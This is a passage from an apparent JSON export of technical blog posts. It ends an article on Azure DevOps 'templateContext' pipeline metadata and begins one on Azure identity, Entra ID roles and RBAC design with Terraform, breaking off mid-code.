cannot.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"troubleshooting-common-issues\"\u003eTroubleshooting Common Issues\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 1: \u0026ldquo;Unexpected value \u0026rsquo;templateContext\u0026rsquo;\u0026rdquo; parse error\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: \u003ccode\u003etemplateContext\u003c/code\u003e was added to a job defined directly in the pipeline root YAML (not inside a list parameter passed to a template), or the pipeline runs on Azure DevOps Server older than version 2022.\u003c/p\u003e\n\u003cp\u003eSolution: Move the job into a list parameter and process it with a \u003ccode\u003e${{ each }}\u003c/code\u003e loop in a template file. For Server environments, verify the installed version is 2022 or later — the \u0026ldquo;Unexpected value\u0026rdquo; error is the exact error both scenarios produce.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 2: \u003ccode\u003e${{ deploy.templateContext.myProp }}\u003c/code\u003e resolves to an empty string\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The property name is misspelled, the job entry in the pipeline file omits the \u003ccode\u003etemplateContext:\u003c/code\u003e block entirely, or the property is absent from that specific job\u0026rsquo;s \u003ccode\u003etemplateContext\u003c/code\u003e while present on others.\u003c/p\u003e\n\u003cp\u003eSolution: Use \u003ccode\u003ecoalesce\u003c/code\u003e to handle absent properties gracefully and expose missing required properties with a validation block:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Handle optional property with fallback\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Deploy to ${{ coalesce(deploy.templateContext.environment, \u0026#34;MISSING-ENV\u0026#34;) }}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Validate required property with a failing step\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(deploy.templateContext.serviceConnection) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;##vso[task.logissue type=error]templateContext.serviceConnection is required for deployment ${{ deploy.deployment }}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      exit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;ERROR\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMissing required templateContext.serviceConnection\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 3: A \u003ccode\u003etemplateContext\u003c/code\u003e value is needed inside a script step but is not accessible\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: \u003ccode\u003etemplateContext\u003c/code\u003e does not exist at the runtime phase when \u003ccode\u003esteps:\u003c/code\u003e execute.\u003c/p\u003e\n\u003cp\u003eSolution: Use one of the three bridge patterns. For values needed by multiple steps, inject at the job level:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each deploy in parameters.deployments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.deployment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Compile-time extraction into a runtime pipeline variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eTARGET_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ deploy.templateContext.targetEnvironment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edeploy\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying to $(TARGET_ENV)\u0026#34;  \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# readable at runtime\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 4: Stage-level \u003ccode\u003etemplateContext\u003c/code\u003e values are not accessible inside the stage\u0026rsquo;s jobs\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: \u003ccode\u003etemplateContext\u003c/code\u003e on a stage is readable in the template at the stage iteration level (\u003ccode\u003e${{ stage.templateContext.prop }}\u003c/code\u003e). It is not automatically available inside jobs defined within that stage.\u003c/p\u003e\n\u003cp\u003eSolution: At stage iteration time, inject the stage-level \u003ccode\u003etemplateContext\u003c/code\u003e values into the stage\u0026rsquo;s \u003ccode\u003evariables:\u003c/code\u003e block. Jobs in the stage inherit those variables at runtime:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.deployStages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#75715e\"\u003e# Stage-level variables inherited by all jobs in this stage\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSTAGE_REGION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.region }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSTAGE_TENANT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ stage.templateContext.tenantId }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003e${{ each job in stage.jobs }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#ae81ff\"\u003e${{ job }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# Jobs can now read $(STAGE_REGION) and $(STAGE_TENANT) at runtime\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eIssue 5: Indentation of \u003ccode\u003etemplateContext\u003c/code\u003e properties causes a parse error\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The \u003ccode\u003etemplateContext:\u003c/code\u003e block is not a parse error source itself, but its children must be indented exactly one level deeper. YAML indentation errors under \u003ccode\u003etemplateContext:\u003c/code\u003e are surfaced as \u0026ldquo;mapping values are not allowed here\u0026rdquo; or \u0026ldquo;could not find expected \u0026lsquo;:\u0026rsquo;\u0026rdquo; errors pointing at the wrong line.\u003c/p\u003e\n\u003cp\u003eSolution: Validate indentation with a YAML linter before committing. The correct structure:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003edeployment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployDev \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 2 spaces (list item under jobs:)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etemplateContext\u003c/span\u003e:       \u003cspan style=\"color:#75715e\"\u003e# 2 spaces (sibling of strategy:, pool:)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edev    \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 4 spaces (child of templateContext:)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eserviceConnection\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-dev \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# 4 spaces — same level as environment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003estrategy\u003c/span\u003e:              \u003cspan style=\"color:#75715e\"\u003e# 2 spaces (sibling of templateContext:)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003erunOnce\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is a compile-time escape hatch for attaching custom metadata to \u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003edeploymentList\u003c/code\u003e, and \u003ccode\u003estageList\u003c/code\u003e entries. Azure DevOps recognizes it as a reserved property, bypassing schema validation without triggering a parse error.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAccess scope is strictly compile-time: \u003ccode\u003e${{ deploy.templateContext.prop }}\u003c/code\u003e works inside a \u003ccode\u003e${{ each }}\u003c/code\u003e loop in a template file; it does not work inside \u003ccode\u003esteps:\u003c/code\u003e at runtime.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eThe canonical bridge to runtime is the job-level \u003ccode\u003evariables:\u003c/code\u003e injection pattern — extract \u003ccode\u003etemplateContext\u003c/code\u003e values at compile time into pipeline variables, then consume them via \u003ccode\u003e$(VARIABLE_NAME)\u003c/code\u003e in scripts.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is for per-item variation; a global \u003ccode\u003eobject\u003c/code\u003e parameter is for template-wide configuration. Combining both produces a template interface that stays stable as new environments or jobs are added.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003etemplateContext\u003c/code\u003e is stripped from the Expanded YAML completely. To debug what a \u003ccode\u003etemplateContext\u003c/code\u003e property resolved to, add a diagnostic script step that echoes the injected variable value: \u003ccode\u003escript: echo \u0026quot;$(TARGET_ENV)\u0026quot;\u003c/code\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead the article on Escaping Parameter Hell in this series for how \u003ccode\u003etemplateContext\u003c/code\u003e fits into a larger template architecture alongside Config Object and Facade patterns.\u003c/li\u003e\n\u003cli\u003eRead the article on Advanced \u003ccode\u003e${{ each }}\u003c/code\u003e Looping for techniques that combine \u003ccode\u003e${{ each }}\u003c/code\u003e with \u003ccode\u003etemplateContext\u003c/code\u003e to generate dynamic stage matrices from complex nested objects.\u003c/li\u003e\n\u003cli\u003eApply the variable injection bridge pattern to any existing template that uses \u003ccode\u003etemplateContext\u003c/code\u003e values inside scripts — the bridge is the only safe access method.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/yaml-schema/jobs-job-templatecontext\"\u003etemplateContext property — Azure DevOps YAML schema reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/template-parameters\"\u003eTemplate parameters — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/how-azure-pipelines-processes-yaml/\"\u003eHow Azure Pipelines processes YAML — Azure DevOps Blog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/server/release-notes/azuredevops2022\"\u003eAzure DevOps Server 2022 release notes (templateContext support)\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops\"\u003eTemplate usage reference — Azure DevOps Pipelines\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n1. **Photorealistic / Cinematic:** A dark, professional office at night. On a sleek glass desk, several identical silver containers are arranged in a row. One container is slightly open, revealing a glowing blue internal light that projects a complex digital hologram of metadata. Cinematic lighting with deep shadows. Wide landscape format, 16:9 aspect ratio.\n\n2. **3D Abstract / Isometric:** Isometric view of several 3D blocks representing jobs. Each block has a small, secondary \"metadata\" cube attached to its side like a sidecar. A glowing translucent bridge connects each sidecar cube to a central processing node. Professional white and slate gray palette. Wide landscape format, 16:9 aspect ratio.\n\n3. **Minimalist Vector / Flat:** Clean flat vector illustration of an \"attachment\" concept. Several circular icons (jobs) have a small, distinctive \"tag\" icon connected to them by a thin, dotted line. The tags are different colors to represent unique metadata. Simple, modern, and professional. Wide landscape format, 16:9 aspect ratio.\n\n4. **Cyber-Industrial / Data Flow:** High-contrast image of a series of cargo containers moving on a high-tech automated belt. Each container has a glowing digital display on its side showing scrolling parameters and metadata. The background is a dark, futuristic industrial environment. Wide landscape format, 16:9 aspect ratio.\n\n5. **Claymorphism / Soft 3D:** Soft 3D matte cubes stacked in groups. Each group has a unique \"metadata\" sphere resting on top of it. The lighting is soft and natural, with gentle shadows. A professional palette of azure, charcoal, and white. Wide landscape format, 16:9 aspect ratio.\n\n6. **Macro Tech Detail:** Extreme macro close-up of a high-end connector where data pins are being mated. Focus on the moment of contact. A subtle glowing \"aura\" around the connection point represents the metadata traveling alongside the primary signal. High detail, technical vibe. Wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"A complete reference for Azure DevOps templateContext — how to attach custom metadata to jobList and stageList entries without breaking the YAML schema.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/templatecontext-deep-dive/","title":"templateContext Deep Dive: Bundling Job Metadata"},{"content":"\u003cp\u003eThe most common Azure security finding in enterprise environments is not a misconfigured firewall or an exposed storage account. It is a service principal with Owner rights that was created two years ago, whose secret has never rotated, and whose owner left the company six months ago. Nobody knows what it does. Nobody is willing to delete it.\u003c/p\u003e\n\u003cp\u003eIdentity is the control plane of Azure. Every action — whether taken by a human, a CI/CD pipeline, or a workload — is authorized through either Entra ID roles or Azure RBAC. Organizations that treat identity as an afterthought end up with over-privileged accounts, stale service principals, standing access to production, and no auditability. A landing zone designed without a deliberate identity model accumulates these problems as quickly as new workloads arrive.\u003c/p\u003e\n\u003cp\u003eBy the end of this guide, you will:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDistinguish between Entra ID roles and Azure RBAC to close dangerous governance gaps.\u003c/li\u003e\n\u003cli\u003eApply RBAC at the management group level to ensure every workload subscription inherits a consistent access baseline.\u003c/li\u003e\n\u003cli\u003eConfigure PIM to eliminate standing privileged access for human operators.\u003c/li\u003e\n\u003cli\u003eReplace service principal secrets in CI/CD pipelines with OIDC federated credentials.\u003c/li\u003e\n\u003cli\u003eDeploy role assignments and federated credentials as IaC using Terraform and Bicep.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThis is Post 3 in the \u003ca href=\"/series/azure-platform-engineering-build-an-enterprise-landing-zone-from-scratch/\"\u003eAzure Platform Engineering series\u003c/a\u003e. It builds on the management group hierarchy from \u003ca href=\"../azure-management-group-design/\"\u003ePost 1\u003c/a\u003e and provides the OIDC identities used by the CI/CD pipeline in \u003ca href=\"../azure-landing-zone-cicd/\"\u003ePost 8\u003c/a\u003e.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"two-identity-systems-one-azure-environment\"\u003eTwo Identity Systems, One Azure Environment\u003c/h2\u003e\n\u003ch3 id=\"entra-id-roles--tenant-wide-administrative-access\"\u003eEntra ID Roles — Tenant-Wide Administrative Access\u003c/h3\u003e\n\u003cp\u003eEntra ID roles (formerly Azure AD roles) control administrative privileges to tenant-level services: user and group management, application registration, and PIM administration. These roles operate entirely within the Entra ID plane — they govern who can manage identities, not who can access Azure resources.\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eRole\u003c/th\u003e\n          \u003cth\u003eWhat It Controls\u003c/th\u003e\n          \u003cth\u003eNeeded By\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eGlobal Administrator\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eFull tenant admin\u003c/td\u003e\n          \u003ctd\u003eBreak-glass accounts only\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003ePrivileged Role Administrator\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eManages Entra ID roles and PIM settings\u003c/td\u003e\n          \u003ctd\u003ePlatform team (via PIM)\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eSecurity Administrator\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eManages Defender XDR, Sentinel, CA policies\u003c/td\u003e\n          \u003ctd\u003eSecurity team\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eApplication Administrator\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eCreates and manages app registrations\u003c/td\u003e\n          \u003ctd\u003ePlatform CI/CD pipeline\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003eDirectory Readers\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eReads directory objects (users, groups)\u003c/td\u003e\n          \u003ctd\u003eMost automation identities\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003eThe Elevation Boundary:\u003c/strong\u003e A Global Administrator cannot read a VM\u0026rsquo;s disk or view a subscription\u0026rsquo;s resources unless they also have an Azure RBAC role on that subscription. An Owner on a subscription cannot escalate themselves to Global Administrator. These are separate authorization systems.\u003c/p\u003e\n\u003ch3 id=\"azure-rbac--resource-level-authorization\"\u003eAzure RBAC — Resource-Level Authorization\u003c/h3\u003e\n\u003cp\u003eAzure RBAC controls who can perform specific actions on Azure resources. The scope hierarchy mirrors the management group hierarchy: Tenant Root → Management Group → Subscription → Resource Group → Resource.\u003c/p\u003e\n\u003cp\u003eThree built-in roles form the foundation of landing zone RBAC designs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003eOwner\u003c/code\u003e\u003c/strong\u003e: Full resource control plus the ability to assign roles to others.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003eContributor\u003c/code\u003e\u003c/strong\u003e: Full resource control, but cannot manage role assignments.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003eReader\u003c/code\u003e\u003c/strong\u003e: Read-only access.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eRole assignments are additive. A principal\u0026rsquo;s effective permissions are the union of all role assignments across all applicable scopes.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eScale Tip:\u003c/strong\u003e Azure allows 500 role assignments per management group. Assigning at the management group level uses 1 of that 500 quota but covers all subscriptions beneath it without consuming per-subscription quota. For 50 subscriptions, this is a 50:1 efficiency gain over subscription-level assignments.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"rbac-design-at-management-group-scope\"\u003eRBAC Design at Management Group Scope\u003c/h2\u003e\n\u003ch3 id=\"rbac-conditions--constraining-owner-permissions\"\u003eRBAC Conditions — Constraining Owner Permissions\u003c/h3\u003e\n\u003cp\u003eThe platform CI/CD pipeline requires \u003ccode\u003eOwner\u003c/code\u003e at the management group level to create role assignments for policy remediation identities. However, an unrestricted \u003ccode\u003eOwner\u003c/code\u003e assignment is a security risk.\u003c/p\u003e\n\u003cp\u003eRBAC conditions (GA since 2023) constrain \u003ccode\u003eOwner\u003c/code\u003e assignments with attribute-based logic. An 8 KB size limit applies to the condition expression; if you approach this limit, consider using Custom Security Attributes for more complex logic.\u003c/p\u003e\n\u003cp\u003eThe following condition allows the pipeline to assign \u003ccode\u003eContributor\u003c/code\u003e but blocks it from assigning \u003ccode\u003eOwner\u003c/code\u003e or \u003ccode\u003eUser Access Administrator\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Terraform: azurerm_role_assignment with RBAC condition\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eresource\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;azurerm_role_assignment\u0026#34; \u0026#34;platform_cicd_owner\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  scope                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/providers/Microsoft.Management/managementGroups/${var.platform_mg_id}\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  role_definition_name \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Owner\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  principal_id         \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eazurerm_user_assigned_identity\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eplatform_cicd\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eprincipal_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  condition_version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2.0\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # Use ForAllOfAnyValues:GuidNotEquals to ensure ALL requested roles \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e  # are checked against the blocked list.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  condition \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026lt;\u0026lt;-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eEOT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      (\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e!\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eActionMatches\u003c/span\u003e{\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eMicrosoft\u003c/span\u003e.\u003cspan 